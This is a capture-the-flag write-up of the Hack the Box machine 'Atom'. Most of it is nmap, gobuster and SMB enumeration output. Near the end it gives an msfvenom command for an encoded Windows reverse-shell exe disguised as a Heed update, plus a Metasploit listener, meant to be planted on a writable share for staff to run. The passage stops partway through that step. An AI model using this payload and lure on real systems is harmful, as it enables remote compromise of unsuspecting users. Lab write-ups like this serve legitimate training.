Hack the Box - Atom

Contents

Atom Overview

Box Details

IP Difficulty OS Date Started Date User Owned Date Completed
10.10.10.237 Medium Windows 2021-04-19 2021-06-02 2021-06-22

Atom was an interesting, but at times frustrating, box that involved pushing a malicious update file to an insecure Samba share, which exploited a CVE to get code execution on the box. Root involved finding some passwords in PortableKanban and Redis.

I liked the concept of this box, but it was super fiddly to execute and find the correct syntax. Situations like that frustrate me on Hack the Box, but I got there in the end. System involved a lot of poking around config files, which again isn’t my favourite challenge, but it is an important skill to have and I learned how to interact with Redis, a common service.

I rated User a 4 for difficulty, as the exploit was a little obscure and the hints weren’t explicit enough to not require extensive debugging (not that this is a bad thing, it just makes it harder). I rated root a 5 for difficulty, as it involved a lot of digging around and a few new tools I’d never used before.

Enumeration

autorecon

I fired off autorecon first:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ autorecon 10.10.10.237
[*] Scanning target 10.10.10.237
[*] Running service detection nmap-full-tcp on 10.10.10.237
[*] Running service detection nmap-top-20-udp on 10.10.10.237
[*] Running service detection nmap-quick on 10.10.10.237
[!] Service detection nmap-top-20-udp on 10.10.10.237 returned non-zero exit code: 1
[*] [08:37:04] - There are 2 tasks still running on 10.10.10.237
[*] Service detection nmap-quick on 10.10.10.237 finished successfully in 1 minute, 1 second
[*] Found http on tcp/80 on target 10.10.10.237
[*] Found msrpc on tcp/135 on target 10.10.10.237
[*] Found ssl/http on tcp/443 on target 10.10.10.237
[*] Found microsoft-ds on tcp/445 on target 10.10.10.237
[!] [tcp/445/nbtscan] Scan cannot be run against tcp port 445. Skipping.
[*] Running task tcp/80/sslscan on 10.10.10.237
[*] Running task tcp/80/nmap-http on 10.10.10.237
[*] Running task tcp/80/curl-index on 10.10.10.237
[*] Running task tcp/80/curl-robots on 10.10.10.237
[*] Running task tcp/80/wkhtmltoimage on 10.10.10.237
[*] Running task tcp/80/whatweb on 10.10.10.237
[*] Running task tcp/80/nikto on 10.10.10.237
[*] Running task tcp/80/gobuster on 10.10.10.237
[*] Running task tcp/135/sslscan on 10.10.10.237
[*] Task tcp/80/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/135/nmap-msrpc on 10.10.10.237
[*] Task tcp/135/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/443/sslscan on 10.10.10.237
[*] Task tcp/80/curl-robots on 10.10.10.237 finished successfully in 1 second
[*] Task tcp/80/curl-index on 10.10.10.237 finished successfully in 1 second
[*] Running task tcp/443/nmap-http on 10.10.10.237
[*] Running task tcp/443/curl-index on 10.10.10.237
[*] Task tcp/443/curl-index on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/443/curl-robots on 10.10.10.237
[!] Task tcp/80/gobuster on 10.10.10.237 returned non-zero exit code: 1
[*] Running task tcp/443/wkhtmltoimage on 10.10.10.237
[*] Task tcp/443/curl-robots on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/443/whatweb on 10.10.10.237
[*] Task tcp/80/wkhtmltoimage on 10.10.10.237 finished successfully in 13 seconds
[*] Running task tcp/443/nikto on 10.10.10.237
[*] Task tcp/443/wkhtmltoimage on 10.10.10.237 finished successfully in 11 seconds
[*] Running task tcp/443/gobuster on 10.10.10.237
[!] Task tcp/443/gobuster on 10.10.10.237 returned non-zero exit code: 1
[*] Running task tcp/445/sslscan on 10.10.10.237
[*] Task tcp/445/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/445/nmap-smb on 10.10.10.237
[*] Task tcp/443/sslscan on 10.10.10.237 finished successfully in 13 seconds
[*] Running task tcp/445/enum4linux on 10.10.10.237
[*] Task tcp/135/nmap-msrpc on 10.10.10.237 finished successfully in 24 seconds
[*] Running task tcp/445/smbclient on 10.10.10.237
[*] Task tcp/445/smbclient on 10.10.10.237 finished successfully in 1 second
[*] Running task tcp/445/smbmap-share-permissions on 10.10.10.237
[*] Task tcp/80/whatweb on 10.10.10.237 finished successfully in 28 seconds
[*] Running task tcp/445/smbmap-list-contents on 10.10.10.237
[*] Task tcp/80/nmap-http on 10.10.10.237 finished successfully in 30 seconds
[*] Running task tcp/445/smbmap-execute-command on 10.10.10.237
[*] Task tcp/443/whatweb on 10.10.10.237 finished successfully in 30 seconds
[*] Task tcp/445/enum4linux on 10.10.10.237 finished successfully in 23 seconds
[*] Task tcp/445/smbmap-execute-command on 10.10.10.237 finished successfully in 12 seconds
[*] Task tcp/445/smbmap-share-permissions on 10.10.10.237 finished successfully in 17 seconds
[*] Task tcp/445/smbmap-list-contents on 10.10.10.237 finished successfully in 14 seconds
[*] Task tcp/443/nmap-http on 10.10.10.237 finished successfully in 51 seconds
[*] [08:38:04] - There are 4 tasks still running on 10.10.10.237
[*] Task tcp/445/nmap-smb on 10.10.10.237 finished successfully in 1 minute, 45 seconds
[*] [08:39:04] - There are 3 tasks still running on 10.10.10.237
[*] [08:40:04] - There are 3 tasks still running on 10.10.10.237
[*] Service detection nmap-full-tcp on 10.10.10.237 finished successfully in 4 minutes, 48 seconds
[*] Found http on tcp/5985 on target 10.10.10.237
[*] Found redis on tcp/6379 on target 10.10.10.237
[*] Found pando-pub on tcp/7680 on target 10.10.10.237
[*] Running task tcp/5985/sslscan on 10.10.10.237
[*] Running task tcp/5985/nmap-http on 10.10.10.237
[*] Running task tcp/5985/curl-index on 10.10.10.237
[*] Running task tcp/5985/curl-robots on 10.10.10.237
[*] Running task tcp/5985/wkhtmltoimage on 10.10.10.237
[*] Running task tcp/5985/whatweb on 10.10.10.237
[*] Running task tcp/5985/nikto on 10.10.10.237
[*] Running task tcp/5985/gobuster on 10.10.10.237
[*] Task tcp/5985/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/6379/sslscan on 10.10.10.237
[*] Task tcp/6379/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/7680/sslscan on 10.10.10.237
[*] Task tcp/7680/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Task tcp/5985/curl-robots on 10.10.10.237 finished successfully in 1 second
[*] Task tcp/5985/curl-index on 10.10.10.237 finished successfully in 1 second
[!] Task tcp/5985/gobuster on 10.10.10.237 returned non-zero exit code: 1
[!] Task tcp/5985/wkhtmltoimage on 10.10.10.237 returned non-zero exit code: 1
[*] Task tcp/5985/whatweb on 10.10.10.237 finished successfully in 9 seconds
[*] [08:41:04] - There are 4 tasks still running on 10.10.10.237
[*] [08:42:04] - There are 4 tasks still running on 10.10.10.237
[*] Task tcp/80/nikto on 10.10.10.237 finished successfully in 5 minutes, 34 seconds
[*] [08:43:04] - There are 3 tasks still running on 10.10.10.237
[*] Task tcp/5985/nmap-http on 10.10.10.237 finished successfully in 2 minutes, 19 seconds
[*] [08:44:04] - There are 2 tasks still running on 10.10.10.237
[*] [08:45:04] - There are 2 tasks still running on 10.10.10.237
[*] [08:46:04] - There are 2 tasks still running on 10.10.10.237
[*] [08:47:04] - There are 2 tasks still running on 10.10.10.237
[*] Task tcp/5985/nikto on 10.10.10.237 finished successfully in 7 minutes, 6 seconds
[*] [08:48:04] - There is 1 task still running on 10.10.10.237
[*] [08:49:04] - There is 1 task still running on 10.10.10.237
[*] [08:50:05] - There is 1 task still running on 10.10.10.237
[*] [08:51:05] - There is 1 task still running on 10.10.10.237
[*] [08:52:05] - There is 1 task still running on 10.10.10.237
[*] [08:53:05] - There is 1 task still running on 10.10.10.237
[*] Task tcp/443/nikto on 10.10.10.237 finished successfully in 16 minutes, 35 seconds
[*] Finished scanning target 10.10.10.237 in 17 minutes, 49 seconds
[*] Finished scanning all targets in 17 minutes, 49 seconds!

nmap

I then took a look at the nmap results.

Key Results

Open Ports:

Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Full Port Scan

┌──(mac㉿kali)-[~Documents/HTB/atom/results/10.10.10.237/scans]
└─$ cat _full_tcp_nmap.txt 
# Nmap 7.91 scan initiated Mon Apr 19 08:36:05 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/mac/results/10.10.10.237/scans/_full_tcp_nmap.txt -oX /home/mac/results/10.10.10.237/scans/xml/_full_tcp_nmap.xml 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up, received user-set (0.029s latency).
Scanned at 2021-04-19 08:36:07 BST for 284s
Not shown: 65528 filtered ports
Reason: 65528 no-responses
PORT     STATE SERVICE      REASON  VERSION
80/tcp   open  http         syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp  open  msrpc        syn-ack Microsoft Windows RPC
443/tcp  open  ssl/http     syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds syn-ack Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open  redis        syn-ack Redis key-value store
7680/tcp open  pando-pub?   syn-ack
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h30m58s, deviation: 4h02m30s, median: 10m57s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 58850/tcp): CLEAN (Timeout)
|   Check 2 (port 38781/tcp): CLEAN (Timeout)
|   Check 3 (port 39922/udp): CLEAN (Timeout)
|   Check 4 (port 16707/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-04-19T00:51:10-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-04-19T07:51:11
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 19 08:40:51 2021 -- 1 IP address (1 host up) scanned in 286.66 seconds

SMB Enumeration

Autorecon ran the following commands:

smbclient -L\\ -N -I 10.10.10.237 2>&1 | tee "/home/mac/results/10.10.10.237/scans/smbclient.txt"

smbmap -H 10.10.10.237 -P 445 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-share-permissions.txt"; smbmap -u null -p "" -H 10.10.10.237 -P 445 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-share-permissions.txt"

smbmap -H 10.10.10.237 -P 445 -R 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-list-contents.txt"; smbmap -u null -p "" -H 10.10.10.237 -P 445 -R 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-list-contents.txt"

smbmap -H 10.10.10.237 -P 445 -x "ipconfig /all" 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-execute-command.txt"; smbmap -u null -p "" -H 10.10.10.237 -P 445 -x "ipconfig /all" 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-execute-command.txt"

I’d not used much smbmap myself, so I ran some of the commands manually to familiarise myself with how they worked.

┌──(mac㉿kali)-[~/Documents/HTB/atom/results]
└─$ smbmap -H 10.10.10.237 -P 445
[!] Authentication error on 10.10.10.237
┌──(mac㉿kali)-[~/Documents/HTB/atom/results]
└─$ smbmap -u null -p "" -H 10.10.10.237 -P 445
[+] Guest session   	IP: 10.10.10.237:445	Name: 10.10.10.237                                      
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	Software_Updates                                  	READ, WRITE	

Null authentication lets us list the shares on the box.

Autorecon also ran the following nmap scan on port 445 to enumerate shares:

# Nmap 7.91 scan initiated Mon Apr 19 08:37:19 2021 as: nmap -vv --reason -Pn -sV -p 445 "--script=banner,(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args=unsafe=1 -oN /home/mac/results/10.10.10.237/scans/tcp_445_smb_nmap.txt -oX /home/mac/results/10.10.10.237/scans/xml/tcp_445_smb_nmap.xml 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up, received user-set (0.024s latency).
Scanned at 2021-04-19 08:37:24 BST for 99s

PORT    STATE SERVICE      REASON  VERSION
445/tcp open  microsoft-ds syn-ack Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.10.237\ADMIN$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.237\C$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.10.237\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.10.10.237\Software_Updates: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Anonymous access: <none>
|_    Current user access: READ/WRITE
| smb-ls: Volume \\10.10.10.237\Software_Updates
| SIZE   TIME                 FILENAME
| <DIR>  2021-03-30T20:43:48  .
| <DIR>  2021-03-30T20:43:48  ..
| <DIR>  2021-04-19T07:47:04  client1
| <DIR>  2021-04-19T07:47:04  client2
| <DIR>  2021-04-19T07:47:04  client3
| 35202  2021-04-13T09:36:28  UAT_Testing_Procedures.pdf
|_
| smb-mbenum: 
|_  ERROR: Call to Browser Service failed with status = 2184
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-04-19T00:48:53-07:00
|_smb-print-text: false
| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb2-capabilities: 
|   2.02: 
|     Distributed File System
|   2.10: 
|     Distributed File System
|     Leasing
|     Multi-credit operations
|   3.00: 
|     Distributed File System
|     Leasing
|     Multi-credit operations
|   3.02: 
|     Distributed File System
|     Leasing
|     Multi-credit operations
|   3.11: 
|     Distributed File System
|     Leasing
|_    Multi-credit operations
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-04-19T07:48:51
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 19 08:39:03 2021 -- 1 IP address (1 host up) scanned in 104.11 seconds

This shows that two shares have read access, and that there are some files that we can get from the server, including a PDF.

gobuster

I ran a simple directory bust with gobuster:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ gobuster dir -u http://10.10.10.237 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.237
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/04/19 14:20:36 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 338] [--> http://10.10.10.237/images/]
/.html                (Status: 403) [Size: 302]                                  
/.htm                 (Status: 403) [Size: 302]                                  
/webalizer            (Status: 403) [Size: 302]                                  
/Images               (Status: 301) [Size: 338] [--> http://10.10.10.237/Images/]
/.                    (Status: 200) [Size: 7581]                                 
/phpmyadmin           (Status: 403) [Size: 302]                                  
/.htaccess            (Status: 403) [Size: 302]                                  
/examples             (Status: 503) [Size: 402]                                  
/.htc                 (Status: 403) [Size: 302]                                  
/releases             (Status: 301) [Size: 340] [--> http://10.10.10.237/releases/]
/IMAGES               (Status: 301) [Size: 338] [--> http://10.10.10.237/IMAGES/]  
/.html_var_DE         (Status: 403) [Size: 302]                                    
/licenses             (Status: 403) [Size: 421]                                    
/server-status        (Status: 403) [Size: 421]                                    
/.htpasswd            (Status: 403) [Size: 302]                                    
/con                  (Status: 403) [Size: 302]                                    
/.html.               (Status: 403) [Size: 302]                                    
/.html.html           (Status: 403) [Size: 302]                                    
/.htpasswds           (Status: 403) [Size: 302]                                    
/.htm.                (Status: 403) [Size: 302]                                    
/.htmll               (Status: 403) [Size: 302]                                    
/.html.old            (Status: 403) [Size: 302]                                    
/Releases             (Status: 301) [Size: 340] [--> http://10.10.10.237/Releases/]
/.ht                  (Status: 403) [Size: 302]                                    
/.html.bak            (Status: 403) [Size: 302]                                    
/.htm.htm             (Status: 403) [Size: 302]                                    
/aux                  (Status: 403) [Size: 302]                                    
/.hta                 (Status: 403) [Size: 302]                                    
/.htgroup             (Status: 403) [Size: 302]                                    
/.html1               (Status: 403) [Size: 302]                                    
/.html.printable      (Status: 403) [Size: 302]                                    
/.html.LCK            (Status: 403) [Size: 302]                                    
/prn                  (Status: 403) [Size: 302]                                    
/.htm.LCK             (Status: 403) [Size: 302]                                    
/.htaccess.bak        (Status: 403) [Size: 302]                                    
/.html.php            (Status: 403) [Size: 302]                                    
/.htmls               (Status: 403) [Size: 302]                                    
/.htx                 (Status: 403) [Size: 302]                                    
/server-info          (Status: 403) [Size: 421]                                    
/.htlm                (Status: 403) [Size: 302]                                    
/.htm2                (Status: 403) [Size: 302]                                    
/.html-               (Status: 403) [Size: 302]                                    
/.htuser              (Status: 403) [Size: 302]                                    
                                                                                   
===============================================================
2021/04/19 14:22:37 Finished
===============================================================

It didn’t find anything interesting.

Vhosts

I also ran a virtual host scan to see if there were any valid subdomains:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ gobuster vhost -u atom.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://atom.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/04/20 17:09:53 Starting gobuster in VHOST enumeration mode
===============================================================
                                  
===============================================================
2021/04/20 17:19:26 Finished
===============================================================

Nothing here either.

Website

The website seems to be a page for a note taking application called Heed.

There is a download link at the bottom of the page. Only the download for the Windows Version works.

It says the source is from codepen. I did a brief search of public pens: https://codepen.io/search/pens?q=heed - but I got no obvious results. There was also nothing interesting in the site source.

Besides the download link, no other pages seem to be linked from the main page. Gobuster also threw nothing up. The only interesting Gobuster result was the /examples directory, which had a 503 status code.

I added a entry for atom.htb to my hosts and visited that domain to see if there was a different page. Unfortunately the page stayed the same.

I also checked out the /releases directory to see if there were any other versions of the code available:

There was a directory listing, but only the one file.

SMB

I tried manually connecting to SMB:

┌──(mac㉿kali)-[~/Documents/HTB/atom/results/10.10.10.237/scans]
└─$ smbclient -L 10.10.10.237 \\\\atom\\shares
Enter WORKGROUP\mac's password: 
┌──(mac㉿kali)-[~/Documents/HTB/atom/results/10.10.10.237/scans]
└─$ smbclient -L 10.10.10.237 -U null -p "" \\\\atom\\shares
Enter WORKGROUP\null's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Software_Updates Disk      
SMB1 disabled -- no workgroup available

Autorecon and nmap did a lot of scans, but I wanted to replicate the results so I understood how to read them. This is duplicated work, but I’d never used the service before.

I used smbmap to review which shares are readable.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbmap -H 10.10.10.237
[!] Authentication error on 10.10.10.237
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbmap -H 10.10.10.237 -u null -p ""
[+] Guest session   	IP: 10.10.10.237:445	Name: 10.10.10.237                                      
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	Software_Updates                                  	READ, WRITE

So I can read the IPC$ share. Let’s try to connect to it:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/IPC$
Enter WORKGROUP\mac's password: 
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_INVALID_INFO_CLASS listing \*

Mounting the Share

I didn’t know what this error was, so I tried to mount the share instead.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo mkdir /mnt/atom
[sudo] password for mac: 
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo mkdir /mnt/atom/IPC
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo mount -t cifs //10.10.10.237/IPC$ /mnt/atom/IPC/
Password for root@//10.10.10.237/IPC$: 
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls /mnt/atom/IPC/
ls: reading directory '/mnt/atom/IPC/': Input/output error

Weird. A quick google of “ls input output error” suggests this is a ‘hardware issue’. ls works on the rest of my filesystem, so I suspect it’s an incompatibility between Linux and Windows filesystems.

I tried the dmesg command as suggested in the thread linked above:

┌──(mac㉿kali)-[~]
└─$ sudo dmesg
...[SNIP]...
[ 2405.593147] FS-Cache: Loaded
[ 2405.601885] Key type dns_resolver registered
[ 2405.799728] FS-Cache: Netfs 'cifs' registered for caching
[ 2405.813289] Key type cifs.spnego registered
[ 2405.813291] Key type cifs.idmap registered
[ 2405.813579] CIFS: Attempting to mount //10.10.10.237/IPC$
[ 2405.813593] CIFS: No dialect specified on mount. Default has changed to a more secure dialect, SMB2.1 or later (e.g. SMB3.1.1), from CIFS (SMB1). To use the less secure SMB1 dialect to access old servers which do not support SMB3.1.1 (or even SMB3 or SMB2.1) specify vers=1.0 on mount.

I guess I was correct. It seems that I need to specify the dialect. I will unmount and remount using this new command.

┌──(mac㉿kali)-[~]
└─$ sudo umount /mnt/atom/IPC

The results of the nmap scan on port 445 show that the Samba server supports dialects 2.02 and above:

| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

So let’s remount using one of these. dmesg suggested version 2.10:

┌──(mac㉿kali)-[~]
└─$ sudo mount -t cifs -o vers=2.1 //10.10.10.237/IPC$ /mnt/atom/IPC/
Password for root@//10.10.10.237/IPC$: 
┌──(mac㉿kali)-[~]
└─$ ls /mnt/atom/IPC/
ls: reading directory '/mnt/atom/IPC/': Input/output error

I re-read the dmesg and realised it suggested using SMB1 in conjunction with cifs. So I unmounted and tried again:

┌──(mac㉿kali)-[/mnt/atom]
└─$ sudo umount /mnt/atom/IPC
┌──(mac㉿kali)-[/mnt/atom]
└─$ sudo mount -t cifs -o vers=1.0 //10.10.10.237/IPC$ /mnt/atom/IPC/
Password for root@//10.10.10.237/IPC$: 
mount error(13): Permission denied
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and kernel log messages (dmesg)

...[READING DMESG]...

[ 3053.910376] CIFS: Attempting to mount //10.10.10.237/IPC$
[ 3150.701746] CIFS: Attempting to mount //10.10.10.237/IPC$
[ 3150.701760] CIFS: VFS: Use of the less secure dialect vers=1.0 is not recommended unless required for access to very old servers
[ 3150.926735] CIFS: VFS: cifs_mount failed w/return code = -13

So it looks like it’s not going to be easy to mount this drive. Rather than trying to fix this error, I’ll just go back to smbclient and fix that error.

Using smbclient

This page provides a little info on the NT_STATUS_INVALID_INFO_CLASS error. It seems to be an incorrect parameter.

There were a few writeups online that mentioned the error, but I couldn’t find a solution in any of them. This writeup suggests just moving onto the next share - so that’s what I did.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Apr 20 16:52:03 2021
  ..                                  D        0  Tue Apr 20 16:52:03 2021
  client1                             D        0  Tue Apr 20 16:52:03 2021
  client2                             D        0  Tue Apr 20 16:52:03 2021
  client3                             D        0  Tue Apr 20 16:52:03 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 12:18:08 2021

		4413951 blocks of size 4096. 1349120 blocks available
smb: \> 

That’s better. Hopefully the other share had nothing in it.

Exploring this share, there is nothing in any of the client directories.

Let’s get that pdf we saw in the nmap scan:

smb: \> get UAT_Testing_Procedures.pdf 
getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (243.8 KiloBytes/sec) (average 243.8 KiloBytes/sec)
smb: \> exit

It has some interesting information:

It suggests that the current application does not interact with a server at all, but that there is a server active. Perhaps there is an API on the domain that we can interact with.

It also suggests uploading an exe file to one of the client directories on Samba will cause the QA team to run it. So if we can create a malicious exe we might be able to get a shell.

Generating a Payload

Let’s use msfvenom to make a malicious exe.

The nmap scan tells us it’s 64-bit windows. I tried the same command as in the OffSec article but replaced the exe name with one that looked like an updated version of Heed.

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.14.167 LPORT=9001 -b "\x00" -e x86/shikata_ga_nai -f exe -o "heedv1 Setup 1.0.1.exe"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: heedv1 Setup 1.0.1.exe

I then setup a listener using the handler module so I could be sure its settings matched the shellcode:

┌──(mac㉿kali)-[~/Documents/HTB/atom/heed_source]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set LPORT 9001
LPORT => 9001
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => 10.10.14.167
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.167:9001

I then logged into the SMB server again and put my file:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Apr 21 21:00:02 2021
